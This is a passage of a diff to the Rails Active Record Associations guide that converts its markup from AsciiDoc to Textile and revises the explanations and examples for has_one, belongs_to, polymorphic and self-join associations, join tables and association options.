 A +has_and_belongs_to_many+ association creates a direct many-to-many connection with another model, with no intervening model. For example, if your application includes assemblies and parts, with each assembly having many parts and each part appearing in many assemblies, you could declare the models this way:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 class Assembly < ActiveRecord::Base
   has_and_belongs_to_many :parts
 end
@@ -200,18 +189,17 @@ end
 class Part < ActiveRecord::Base
   has_and_belongs_to_many :assemblies
 end
--------------------------------------------------------
+</ruby>
 
-image:images/habtm.png[has_and_belongs_to_many Association Diagram]
+!images/habtm.png(has_and_belongs_to_many Association Diagram)!
 
-=== Choosing Between +belongs_to+ and +has_one+
+h4. Choosing Between +belongs_to+ and +has_one+
 
-If you want to set up a 1-1 relationship between two models, you'll need to add +belongs_to+ to one, and +has_one+ to the other. How do you know which is which?
+If you want to set up a 1–1 relationship between two models, you'll need to add +belongs_to+ to one, and +has_one+ to the other. How do you know which is which?
 
 The distinction is in where you place the foreign key (it goes on the table for the class declaring the +belongs_to+ association), but you should give some thought to the actual meaning of the data as well. The +has_one+ relationship says that one of something is yours - that is, that something points back to you. For example, it makes more sense to say that a supplier owns an account than that an account owns a supplier. This suggests that the correct relationships are like this:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 class Supplier < ActiveRecord::Base
   has_one :account
 end
@@ -219,12 +207,11 @@ end
 class Account < ActiveRecord::Base
   belongs_to :supplier
 end
--------------------------------------------------------
+</ruby>
 
 The corresponding migration might look like this:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 class CreateSuppliers < ActiveRecord::Migration
   def self.up
     create_table :suppliers do |t|
@@ -244,16 +231,15 @@ class CreateSuppliers < ActiveRecord::Migration
     drop_table :suppliers
   end
 end
--------------------------------------------------------
+</ruby>
 
-NOTE: Using +t.integer :supplier_id+ makes the foreign key naming obvious and implicit. In current versions of Rails, you can abstract away this implementation detail by using +t.references :supplier+ instead.
+NOTE: Using +t.integer :supplier_id+ makes the foreign key naming obvious and explicit. In current versions of Rails, you can abstract away this implementation detail by using +t.references :supplier+ instead.
 
-=== Choosing Between +has_many :through+ and +has_and_belongs_to_many+
+h4. Choosing Between +has_many :through+ and +has_and_belongs_to_many+
 
 Rails offers two different ways to declare a many-to-many relationship between models. The simpler way is to use +has_and_belongs_to_many+, which allows you to make the association directly:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 class Assembly < ActiveRecord::Base
   has_and_belongs_to_many :parts
 end
@@ -261,12 +247,11 @@ end
 class Part < ActiveRecord::Base
   has_and_belongs_to_many :assemblies
 end
--------------------------------------------------------
+</ruby>
 
 The second way to declare a many-to-many relationship is to use +has_many :through+. This makes the association indirectly, through a join model:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 class Assembly < ActiveRecord::Base
   has_many :manifests
   has_many :parts, :through => :manifests
@@ -281,18 +266,17 @@ class Part < ActiveRecord::Base
   has_many :manifests
   has_many :assemblies, :through => :manifests
 end
--------------------------------------------------------
+</ruby>
 
-The simplest rule of thumb is that you should set up a +has_many :through+ relationship if you need to work with the relationship model as an independent entity. If you don't need to do anything with the relationship model, it may be simpler to set up a +has_and_belongs_to_many+ relationship (though you'll need to remember to create the joining table). 
+The simplest rule of thumb is that you should set up a +has_many :through+ relationship if you need to work with the relationship model as an independent entity. If you don't need to do anything with the relationship model, it may be simpler to set up a +has_and_belongs_to_many+ relationship (though you'll need to remember to create the joining table in the database).
 
 You should use +has_many :through+ if you need validations, callbacks, or extra attributes on the join model.
 
-=== Polymorphic Associations
+h4. Polymorphic Associations
 
 A slightly more advanced twist on associations is the _polymorphic association_. With polymorphic associations, a model can belong to more than one other model, on a single association. For example, you might have a picture model that belongs to either an employee model or a product model. Here's how this could be declared:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 class Picture < ActiveRecord::Base
   belongs_to :imageable, :polymorphic => true
 end
@@ -304,12 +288,15 @@ end
 class Product < ActiveRecord::Base
   has_many :pictures, :as => :imageable
 end
--------------------------------------------------------
+</ruby>
 
-You can think of a polymorphic +belongs_to+ declaration as setting up an interface that any other model can use. From an instance of the +Employee+ model, you can retrieve a collection of pictures: +@employee.pictures+. Similarly, you can retrieve +@product.pictures+. If you have an instance of the +Picture+ model, you can get to its parent via +@picture.imageable+. To make this work, you need to declare both a foreign key column and a type column in the model that declares the polymorphic interface:
+You can think of a polymorphic +belongs_to+ declaration as setting up an interface that any other model can use. From an instance of the +Employee+ model, you can retrieve a collection of pictures: +@employee.pictures+.
 
-[source, ruby]
--------------------------------------------------------
+Similarly, you can retrieve +@product.pictures+.
+
+If you have an instance of the +Picture+ model, you can get to its parent via +@picture.imageable+. To make this work, you need to declare both a foreign key column and a type column in the model that declares the polymorphic interface:
+
+<ruby>
 class CreatePictures < ActiveRecord::Migration
   def self.up
     create_table :pictures do |t|
@@ -324,16 +311,15 @@ class CreatePictures < ActiveRecord::Migration
     drop_table :pictures
   end
 end
--------------------------------------------------------
+</ruby>
 
 This migration can be simplified by using the +t.references+ form:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 class CreatePictures < ActiveRecord::Migration
   def self.up
     create_table :pictures do |t|
-      t.string  :name
+      t.string :name
       t.references :imageable, :polymorphic => true
       t.timestamps
     end
@@ -343,25 +329,25 @@ class CreatePictures < ActiveRecord::Migration
     drop_table :pictures
   end
 end
--------------------------------------------------------
+</ruby>
 
-image:images/polymorphic.png[Polymorphic Association Diagram]
+!images/polymorphic.png(Polymorphic Association Diagram)!
 
-=== Self Joins
+h4. Self Joins
 
-In designing a data model, you will sometimes find a model that should have a relation to itself. For example, you may want to store all employees in a single database model, but be able to trace relationships such as manager and subordinates. This situation can be modeled with self-joining associations:
+In designing a data model, you will sometimes find a model that should have a relation to itself. For example, you may want to store all employees in a single database model, but be able to trace relationships such as between manager and subordinates. This situation can be modeled with self-joining associations:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 class Employee < ActiveRecord::Base
-  has_many :subordinates, :class_name => "User", :foreign_key => "manager_id"
-  belongs_to :manager, :class_name => "User"
+  has_many :subordinates, :class_name => "Employee",
+    :foreign_key => "manager_id"
+  belongs_to :manager, :class_name => "Employee"
 end
--------------------------------------------------------
+</ruby>
 
 With this setup, you can retrieve +@employee.subordinates+ and +@employee.manager+.
 
-== Tips, Tricks, and Warnings
+h3. Tips, Tricks, and Warnings
 
 Here are a few things you should know to make efficient use of Active Record associations in your Rails applications:
 
@@ -370,51 +356,52 @@ Here are a few things you should know to make efficient use of Active Record ass
 * Updating the schema
 * Controlling association scope
 
-=== Controlling Caching
+h4. Controlling Caching
 
-All of the association methods are built around caching that keeps the result of the most recent query available for further operations. The cache is even shared across methods. For example:
+All of the association methods are built around caching, which keeps the result of the most recent query available for further operations. The cache is even shared across methods. For example:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 customer.orders                 # retrieves orders from the database
 customer.orders.size            # uses the cached copy of orders
 customer.orders.empty?          # uses the cached copy of orders
--------------------------------------------------------
+</ruby>
 
 But what if you want to reload the cache, because data might have been changed by some other part of the application? Just pass +true+ to the association call:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 customer.orders                 # retrieves orders from the database
 customer.orders.size            # uses the cached copy of orders
-customer.orders(true).empty?    # discards the cached copy of orders and goes back to the database
--------------------------------------------------------
+customer.orders(true).empty?    # discards the cached copy of orders
+                                # and goes back to the database
+</ruby>
 
-=== Avoiding Name Collisions
+h4. Avoiding Name Collisions
 
 You are not free to use just any name for your associations. Because creating an association adds a method with that name to the model, it is a bad idea to give an association a name that is already used for an instance method of +ActiveRecord::Base+. The association method would override the base method and break things. For instance, +attributes+ or +connection+ are bad names for associations.
 
-=== Updating the Schema
+h4. Updating the Schema
 
-Associations are extremely useful, but they are not magic. You are responsible for maintaining your database schema to match your associations. In practice, this means two things. First, you need to create foreign keys as appropriate:
+Associations are extremely useful, but they are not magic. You are responsible for maintaining your database schema to match your associations. In practice, this means two things, depending on what sort of associations you are creating. For +belongs_to+ associations you need to create foreign keys, and for +has_and_belongs_to_many+ associations you need to create the appropriate join table.
 
-[source, ruby]
--------------------------------------------------------
+h5. Creating Foreign Keys for +belongs_to+ Associations
+
+When you declare a +belongs_to+ association, you need to create foreign keys as appropriate. For example, consider this model:
+
+<ruby>
 class Order < ActiveRecord::Base
   belongs_to :customer
 end
--------------------------------------------------------
+</ruby>
 
 This declaration needs to be backed up by the proper foreign key declaration on the orders table:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 class CreateOrders < ActiveRecord::Migration
   def self.up
     create_table :orders do |t|
-      t.order_date   :datetime
-      t.order_number :string
-      t.customer_id  :integer
+      t.datetime :order_date
+      t.string   :order_number
+      t.integer  :customer_id
     end
   end
 
@@ -422,18 +409,19 @@ class CreateOrders < ActiveRecord::Migration
     drop_table :orders
   end
 end
--------------------------------------------------------
+</ruby>
 
 If you create an association some time after you build the underlying model, you need to remember to create an +add_column+ migration to provide the necessary foreign key.
 
-Second, if you create a +has_and_belongs_to_many+ association, you need to explicitly create the joining table. Unless the name of the join table is explicitly specified by using the +:join_table+ option, Active Record create the name by using the lexical order of the class names. So a join between customer and order models will give the default join table name of "customers_orders" because "c" outranks "o" in lexical ordering. 
+h5. Creating Join Tables for +has_and_belongs_to_many+ Associations
 
-WARNING: The precedence between model names is calculated using the +<+ operator for +String+. This means that if the strings are of different lengths, and the strings are equal when compared up to the shortest length, then the longer string is considered of higher lexical precedence than the shorter one. For example, one would expect the tables "paper_boxes" and "papers" to generate a join table name of "papers_paper_boxes" because of the length of the name "paper_boxes", but it in fact generates a join table name of "paper_boxes_papers".
+If you create a +has_and_belongs_to_many+ association, you need to explicitly create the joining table. Unless the name of the join table is explicitly specified by using the +:join_table+ option, Active Record creates the name by using the lexical order of the class names. So a join between customer and order models will give the default join table name of "customers_orders" because "c" outranks "o" in lexical ordering.
+
+WARNING: The precedence between model names is calculated using the +<+ operator for +String+. This means that if the strings are of different lengths, and the strings are equal when compared up to the shortest length, then the longer string is considered of higher lexical precedence than the shorter one. For example, one would expect the tables "paper_boxes" and "papers" to generate a join table name of "papers_paper_boxes" because of the length of the name "paper_boxes", but it in fact generates a join table name of "paper_boxes_papers" (because the underscore '_' is lexicographically _less_ than 's' in common encodings).
 
 Whatever the name, you must manually generate the join table with an appropriate migration. For example, consider these associations:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 class Assembly < ActiveRecord::Base
   has_and_belongs_to_many :parts
 end
@@ -441,12 +429,11 @@ end
 class Part < ActiveRecord::Base
   has_and_belongs_to_many :assemblies
 end
--------------------------------------------------------
+</ruby>
 
 These need to be backed up by a migration to create the +assemblies_parts+ table. This table should be created without a primary key:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 class CreateAssemblyPartJoinTable < ActiveRecord::Migration
   def self.up
     create_table :assemblies_parts, :id => false do |t|
@@ -459,14 +446,15 @@ class CreateAssemblyPartJoinTable < ActiveRecord::Migration
     drop_table :assemblies_parts
   end
 end
--------------------------------------------------------
+</ruby>
 
-=== Controlling Association Scope
+We pass +:id => false+ to +create_table+ because that table does not represent a model. That's required for the association to work properly. If you observe any strange behaviour in a +has_and_belongs_to_many+ association like mangled models IDs, or exceptions about conflicting IDs chances are you forgot that bit.
+
+h4. Controlling Association Scope
 
 By default, associations look for objects only within the current module's scope. This can be important when you declare Active Record models within a module. For example:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 module MyApplication
   module Business
     class Supplier < ActiveRecord::Base
@@ -478,12 +466,11 @@ module MyApplication
     end
   end
 end
--------------------------------------------------------
+</ruby>
 
-This will work fine, because both the +Supplier+ and the +Account+ class are defined within the same scope. But this will not work, because +Supplier+ and +Account+ are defined in different scopes:
+This will work fine, because both the +Supplier+ and the +Account+ class are defined within the same scope. But the following will _not_ work, because +Supplier+ and +Account+ are defined in different scopes:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 module MyApplication
   module Business
     class Supplier < ActiveRecord::Base
@@ -497,128 +484,113 @@ module MyApplication
     end
   end
 end
--------------------------------------------------------
+</ruby>
 
-To associate a model with a model in a different scope, you must specify the complete class name in your association declaration:
+To associate a model with a model in a different namespace, you must specify the complete class name in your association declaration:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 module MyApplication
   module Business
     class Supplier < ActiveRecord::Base
-       has_one :account, :class_name => "MyApplication::Billing::Account"
+       has_one :account,
+        :class_name => "MyApplication::Billing::Account"
     end
   end
 
   module Billing
     class Account < ActiveRecord::Base
-       belongs_to :supplier, :class_name => "MyApplication::Business::Supplier"
+       belongs_to :supplier,
+        :class_name => "MyApplication::Business::Supplier"
     end
   end
 end
--------------------------------------------------------
+</ruby>
 
-== Detailed Association Reference
+h3. Detailed Association Reference
 
 The following sections give the details of each type of association, including the methods that they add and the options that you can use when declaring an association.
 
-=== The +belongs_to+ Association
+h4. +belongs_to+ Association Reference
 
 The +belongs_to+ association creates a one-to-one match with another model. In database terms, this association says that this class contains the foreign key. If the other class contains the foreign key, then you should use +has_one+ instead.
 
-==== Methods Added by +belongs_to+
+h5. Methods Added by +belongs_to+
 
-When you declare a +belongs_to+ assocation, the declaring class automatically gains five methods related to the association:
+When you declare a +belongs_to+ association, the declaring class automatically gains four methods related to the association:
 
-* +_association_(force_reload = false)+
-* +_association_=(associate)+
-* +_association_.nil?+
-* +build___association__(attributes = {})+
-* +create___association__(attributes = {})+
+* <tt><em>association</em>(force_reload = false)</tt>
+* <tt><em>association</em>=(associate)</tt>
+* <tt>build_<em>association</em>(attributes = {})</tt>
+* <tt>create_<em>association</em>(attributes = {})</tt>
 
-In all of these methods, +_association_+ is replaced with the symbol passed as the first argument to +belongs_to+. For example, given the declaration:
+In all of these methods, <tt><em>association</em></tt> is replaced with the symbol passed as the first argument to +belongs_to+. For example, given the declaration:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 class Order < ActiveRecord::Base
   belongs_to :customer
 end
--------------------------------------------------------
+</ruby>
 
 Each instance of the order model will have these methods:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 customer
 customer=
-customer.nil?
 build_customer
 create_customer
--------------------------------------------------------
+</ruby>
 
-===== +_association_(force_reload = false)+
+h6. _association_(force_reload = false)
 
-The +_association_+ method returns the associated object, if any. If no associated object is found, it returns +nil+.
+The <tt><em>association</em></tt> method returns the associated object, if any. If no associated object is found, it returns +nil+.
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 @customer = @order.customer
--------------------------------------------------------
+</ruby>
 
 If the associated object has already been retrieved from the database for this object, the cached version will be returned. To override this behavior (and force a database read), pass +true+ as the +force_reload+ argument.
 
-===== +_association_=(associate)+
+h6. _association_=(associate)
 
-The +_association_=+ method assigns an associated object to this object. Behind the scenes, this means extracting the primary key from the associate object and setting this object's foreign key to the same value.
+The <tt><em>association</em>=</tt> method assigns an associated object to this object. Behind the scenes, this means extracting the primary key from the associate object and setting this object's foreign key to the same value.
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 @order.customer = @customer
--------------------------------------------------------
+</ruby>
 
-===== +_association_.nil?+
+h6. build_<em>association</em>(attributes = {})
 
-The +_association_.nil?+ method returns +true+ if there is no associated object.
+The <tt>build_<em>association</em></tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through this object's foreign key will be set, but the associated object will _not_ yet be saved.
 
-[source, ruby]
--------------------------------------------------------
-if @order.customer.nil?
-  @msg = "No customer found for this order"
-end
--------------------------------------------------------
+<ruby>
+@customer = @order.build_customer(:customer_number => 123,
+  :customer_name => "John Doe")
+</ruby>
 
-===== +build___association__(attributes = {})+
+h6. create_<em>association</em>(attributes = {})
 
-The +build__\_association__+ method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through this object's foreign key will be set, but the associated object will _not_ yet be saved.
+The <tt>create_<em>association</em></tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through this object's foreign key will be set. In addition, the associated object _will_ be saved (assuming that it passes any validations).
 
-[source, ruby]
--------------------------------------------------------
-@customer = @order.build_customer({:customer_number => 123, :customer_name => "John Doe"})
--------------------------------------------------------
+<ruby>
+@customer = @order.create_customer(:customer_number => 123,
+  :customer_name => "John Doe")
+</ruby>
 
-===== +create___association__(attributes = {})+
 
-The +create__\_association__+ method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through this object's foreign key will be set. In addition, the associated object _will_ be saved (assuming that it passes any validations).
-
-[source, ruby]
--------------------------------------------------------
-@customer = @order.create_customer({:customer_number => 123, :customer_name => "John Doe"})
--------------------------------------------------------
-
-==== Options for +belongs_to+
+h5. Options for +belongs_to+
 
 In many situations, you can use the default behavior of +belongs_to+ without any customization. But despite Rails' emphasis of convention over customization, you can alter that behavior in a number of ways. This section covers the options that you can pass when you create a +belongs_to+ association. For example, an association with several options might look like this:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 class Order < ActiveRecord::Base
-  belongs_to :customer, :counter_cache => true, :conditions => "active = 1"
+  belongs_to :customer, :counter_cache => true,
+    :conditions => "active = 1"
 end
--------------------------------------------------------
+</ruby>
 
 The +belongs_to+ association supports these options:
 
-// * +:accessible+
+* +:autosave+
 * +:class_name+
 * +:conditions+
 * +:counter_cache+
@@ -630,249 +602,236 @@ The +belongs_to+ association supports these options:
 * +:select+
 * +:validate+
 
-// ===== +:accessible+
-//
-// The +:accessible+ option is the association version of +ActiveRecord::Base#attr_accessible+. If you set the +:accessible+ option to true, then mass // assignment is allowed for this association.
-//
-===== +:class_name+
+h6. +:autosave+
+
+If you set the +:autosave+ option to +true+, Rails will save any loaded members and destroy members that are marked for destruction whenever you save the parent object.
+
+h6. +:class_name+
 
 If the name of the other model cannot be derived from the association name, you can use the +:class_name+ option to supply the model name. For example, if an order belongs to a customer, but the actual name of the model containing customers is +Patron+, you'd set things up this way:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 class Order < ActiveRecord::Base
   belongs_to :customer, :class_name => "Patron"
 end
--------------------------------------------------------
+</ruby>
 
-===== +:conditions+
+h6. +:conditions+
 
 The +:conditions+ option lets you specify the conditions that the associated object must meet (in the syntax used by a SQL +WHERE+ clause).
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 class Order < ActiveRecord::Base
   belongs_to :customer, :conditions => "active = 1"
 end
--------------------------------------------------------
+</ruby>
 
-===== +:counter_cache+
+h6. +:counter_cache+
 
 The +:counter_cache+ option can be used to make finding the number of belonging objects more efficient. Consider these models:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 class Order < ActiveRecord::Base
   belongs_to :customer
 end
 class Customer < ActiveRecord::Base
   has_many :orders
 end
--------------------------------------------------------
+</ruby>
 
 With these declarations, asking for the value of +@customer.orders.size+ requires making a call to the database to perform a +COUNT(*)+ query. To avoid this call, you can add a counter cache to the _belonging_ model:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 class Order < ActiveRecord::Base
   belongs_to :customer, :counter_cache => true
 end
 class Customer < ActiveRecord::Base
   has_many :orders
 end
--------------------------------------------------------
+</ruby>
 
-With this declaration, Rails will keep the cache value up to date, and then return that value in response to the +.size+ method. 
+With this declaration, Rails will keep the cache value up to date, and then return that value in response to the +size+ method.
 
 Although the +:counter_cache+ option is specified on the model that includes the +belongs_to+ declaration, the actual column must be added to the _associated_ model. In the case above, you would need to add a column named +orders_count+ to the +Customer+ model. You can override the default column name if you need to:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 class Order < ActiveRecord::Base
   belongs_to :customer, :counter_cache => :count_of_orders
 end
 class Customer < ActiveRecord::Base
   has_many :orders
 end
--------------------------------------------------------
+</ruby>
 
 Counter cache columns are added to the containing model's list of read-only attributes through +attr_readonly+.
 
-===== +:dependent+
+h6. +:dependent+
 
-If you set the +:dependent+ option to +:destroy+, then deleting this object will call the destroy method on the associated object to delete that object. If you set the +:dependent+ option to +:delete+, then deleting this object will delete the associated object _without_ calling its +destroy+ method.
+If you set the +:dependent+ option to +:destroy+, then deleting this object will call the +destroy+ method on the associated object to delete that object. If you set the +:dependent+ option to +:delete+, then deleting this object will delete the associated object _without_ calling its +destroy+ method.
 
 WARNING: You should not specify this option on a +belongs_to+ association that is connected with a +has_many+ association on the other class. Doing so can lead to orphaned records in your database.
 
-===== +:foreign_key+
+h6. +:foreign_key+
 
 By convention, Rails guesses that the column used to hold the foreign key on this model is the name of the association with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 class Order < ActiveRecord::Base
-  belongs_to :customer, :class_name => "Patron", :foreign_key => "patron_id"
+  belongs_to :customer, :class_name => "Patron",
+    :foreign_key => "patron_id"
 end
--------------------------------------------------------
+</ruby>
 
 TIP: In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations.
 
-===== +:include+
+h6. +:include+
 
-You can use the :include option to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:
+You can use the +:include+ option to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 class LineItem < ActiveRecord::Base
   belongs_to :order
 end
+
 class Order < ActiveRecord::Base
   belongs_to :customer
   has_many :line_items
 end
+
 class Customer < ActiveRecord::Base
   has_many :orders
 end
--------------------------------------------------------
+</ruby>
 
 If you frequently retrieve customers directly from line items (+@line_item.order.customer+), then you can make your code somewhat more efficient by including customers in the association from line items to orders:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 class LineItem < ActiveRecord::Base
   belongs_to :order, :include => :customer
 end
+
 class Order < ActiveRecord::Base
   belongs_to :customer
   has_many :line_items
 end
+
 class Customer < ActiveRecord::Base
   has_many :orders
 end
--------------------------------------------------------
+</ruby>
 
 NOTE: There's no need to use +:include+ for immediate associations - that is, if you have +Order belongs_to :customer+, then the customer is eager-loaded automatically when it's needed.
 
-===== +:polymorphic+
+h6. +:polymorphic+
 
-Passing +true+ to the +:polymorphic+ option indicates that this is a polymorphic association. Polymorphic associations were discussed in detail earlier in this guide.
+Passing +true+ to the +:polymorphic+ option indicates that this is a polymorphic association. Polymorphic associations were discussed in detail <a href="#polymorphic-associations">earlier in this guide</a>.
 
-===== +:readonly+
+h6. +:readonly+
 
 If you set the +:readonly+ option to +true+, then the associated object will be read-only when retrieved via the association.
 
-===== +:select+
+h6. +:select+
 
 The +:select+ option lets you override the SQL +SELECT+ clause that is used to retrieve data about the associated object. By default, Rails retrieves all columns.
 
 TIP: If you set the +:select+ option on a +belongs_to+ association, you should also set the +foreign_key+ option to guarantee the correct results.
 
-===== +:validate+
+h6. +:validate+
 
 If you set the +:validate+ option to +true+, then associated objects will be validated whenever you save this object. By default, this is +false+: associated objects will not be validated when this object is saved.
 
-==== When are Objects Saved?
+h5. How To Know Whether There's an Associated Object?
+
+To know whether there's and associated object just check <tt><em>association</em>.nil?</tt>:
+
+<ruby>
+if @order.customer.nil?
+  @msg = "No customer found for this order"
+end
+</ruby>
+
+h5. When are Objects Saved?
 
 Assigning an object to a +belongs_to+ association does _not_ automatically save the object. It does not save the associated object either.
 
-=== The has_one Association
+h4. +has_one+ Association Reference
 
 The +has_one+ association creates a one-to-one match with another model. In database terms, this association says that the other class contains the foreign key. If this class contains the foreign key, then you should use +belongs_to+ instead.
 
-==== Methods Added by +has_one+
+h5. Methods Added by +has_one+
 
-When you declare a +has_one+ association, the declaring class automatically gains five methods related to the association:
+When you declare a +has_one+ association, the declaring class automatically gains four methods related to the association:
 
-* +_association_(force_reload = false)+
-* +_association_=(associate)+
-* +_association_.nil?+
-* +build___association__(attributes = {})+
-* +create___association__(attributes = {})+
+* <tt><em>association</em>(force_reload = false)</tt>
+* <tt><em>association</em>=(associate)</tt>
+* <tt>build_<em>association</em>(attributes = {})</tt>
+* <tt>create_<em>association</em>(attributes = {})</tt>
 
-In all of these methods, +_association_+ is replaced with the symbol passed as the first argument to +has_one+. For example, given the declaration:
+In all of these methods, <tt><em>association</em></tt> is replaced with the symbol passed as the first argument to +has_one+. For example, given the declaration:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 class Supplier < ActiveRecord::Base
   has_one :account
 end
--------------------------------------------------------
+</ruby>
 
 Each instance of the +Supplier+ model will have these methods:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 account
 account=
-account.nil?
 build_account
 create_account
--------------------------------------------------------
+</ruby>
 
-===== +_association_(force_reload = false)+
+h6. <tt><em>association</em>(force_reload = false)</tt>
 
-The +_association_+ method returns the associated object, if any. If no associated object is found, it returns +nil+.
+The <tt><em>association</em></tt> method returns the associated object, if any. If no associated object is found, it returns +nil+.
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 @account = @supplier.account
--------------------------------------------------------
+</ruby>
 
 If the associated object has already been retrieved from the database for this object, the cached version will be returned. To override this behavior (and force a database read), pass +true+ as the +force_reload+ argument.
 
-===== +_association_=(associate)+
+h6. <tt><em>association</em>=(associate)</tt>
 
-The +_association_=+ method assigns an associated object to this object. Behind the scenes, this means extracting the primary key from this object and setting the associate object's foreign key to the same value.
+The <tt><em>association</em>=</tt> method assigns an associated object to this object. Behind the scenes, this means extracting the primary key from this object and setting the associate object's foreign key to the same value.
 
-[source, ruby]
--------------------------------------------------------
-@suppler.account = @account
--------------------------------------------------------
+<ruby>
+@supplier.account = @account
+</ruby>
 
-===== +_association_.nil?+
+h6. <tt>build_<em>association</em>(attributes = {})</tt>
 
-The +_association_.nil?+ method returns +true+ if there is no associated object.
+The <tt>build_<em>association</em></tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through its foreign key will be set, but the associated object will _not_ yet be saved.
 
-[source, ruby]
--------------------------------------------------------
-if @supplier.account.nil?
-  @msg = "No account found for this supplier"
-end
--------------------------------------------------------
+<ruby>
+@account = @supplier.build_account(:terms => "Net 30")
+</ruby>
 
-===== +build___association__(attributes = {})+
+h6. <tt>create_<em>association</em>(attributes = {})</tt>
 
-The +build__\_association__+ method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through its foreign key will be set, but the associated object will _not_ yet be saved.
+The <tt>create_<em>association</em></tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through its foreign key will be set. In addition, the associated object _will_ be saved (assuming that it passes any validations).
 
-[source, ruby]
--------------------------------------------------------
-@account = @supplier.build_account({:terms => "Net 30"})
--------------------------------------------------------
+<ruby>
+@account = @supplier.create_account(:terms => "Net 30")
+</ruby>
 
-===== +create___association__(attributes = {})+
-
-The +create__\_association__+ method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through its foreign key will be set. In addition, the associated object _will_ be saved (assuming that it passes any validations).
-
-[source, ruby]
--------------------------------------------------------
-@account = @supplier.create_account({:terms => "Net 30"})
--------------------------------------------------------
-
-==== Options for +has_one+
+h5. Options for +has_one+
 
 In many situations, you can use the default behavior of +has_one+ without any customization. But despite Rails' emphasis of convention over customization, you can alter that behavior in a number of ways. This section covers the options that you can pass when you create a +has_one+ association. For example, an association with several options might look like this:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 class Supplier < ActiveRecord::Base
   has_one :account, :class_name => "Billing", :dependent => :nullify
 end
--------------------------------------------------------
+</ruby>
 
 The +has_one+ association supports these options:
 
-// * +:accessible+
 * +:as+
+* +:autosave+
 * +:class_name+
 * +:conditions+
 * +:dependent+
@@ -887,164 +846,171 @@ The +has_one+ association supports these options:
 * +:through+
 * +:validate+
 
-// ===== +:accessible+
-//
-// The +:accessible+ option is the association version of +ActiveRecord::Base#attr_accessible+. If you set the +:accessible+ option to true, then mass // assignment is allowed for this association.
-//
-===== +:as+
+h6. +:as+
 
-Setting the +:as+ option indicates that this is a polymorphic association. Polymorphic associations are discussed in detail later in this guide.
+Setting the +:as+ option indicates that this is a polymorphic association. Polymorphic associations were discussed in detail <a href="#polymorphic-associations">earlier in this guide</a>.
 
-===== +:class_name+
+h6. +:autosave+
 
-If the name of the other model cannot be derived from the association name, you can use the +:class_name+ option to supply the model name. For example, if a supplier has an account, but the actual name of the model containing accounts is Billing, you'd set things up this way:
+If you set the +:autosave+ option to +true+, Rails will save any loaded members and destroy members that are marked for destruction whenever you save the parent object.
 
-[source, ruby]
--------------------------------------------------------
+h6. +:class_name+
+
+If the name of the other model cannot be derived from the association name, you can use the +:class_name+ option to supply the model name. For example, if a supplier has an account, but the actual name of the model containing accounts is +Billing+, you'd set things up this way:
+
+<ruby>
 class Supplier < ActiveRecord::Base
   has_one :account, :class_name => "Billing"
 end
--------------------------------------------------------
+</ruby>
 
-===== +:conditions+
+h6. +:conditions+
 
 The +:conditions+ option lets you specify the conditions that the associated object must meet (in the syntax used by a SQL +WHERE+ clause).
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 class Supplier < ActiveRecord::Base
   has_one :account, :conditions => "confirmed = 1"
 end
--------------------------------------------------------
+</ruby>
 
-===== +:dependent+
+h6. +:dependent+
 
-If you set the +:dependent+ option to +:destroy+, then deleting this object will call the destroy method on the associated object to delete that object. If you set the +:dependent+ option to +:delete+, then deleting this object will delete the associated object _without_ calling its +destroy+ method. If you set the +:dependent+ option to +:nullify+, then deleting this object will set the foreign key in the association object to +NULL+.
+If you set the +:dependent+ option to +:destroy+, then deleting this object will call the +destroy+ method on the associated object to delete that object. If you set the +:dependent+ option to +:delete+, then deleting this object will delete the associated object _without_ calling its +destroy+ method. If you set the +:dependent+ option to +:nullify+, then deleting this object will set the foreign key in the association object to +NULL+.
 
-===== +:foreign_key+
+h6. +:foreign_key+
 
 By convention, Rails guesses that the column used to hold the foreign key on the other model is the name of this model with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 class Supplier < ActiveRecord::Base
   has_one :account, :foreign_key => "supp_id"
 end
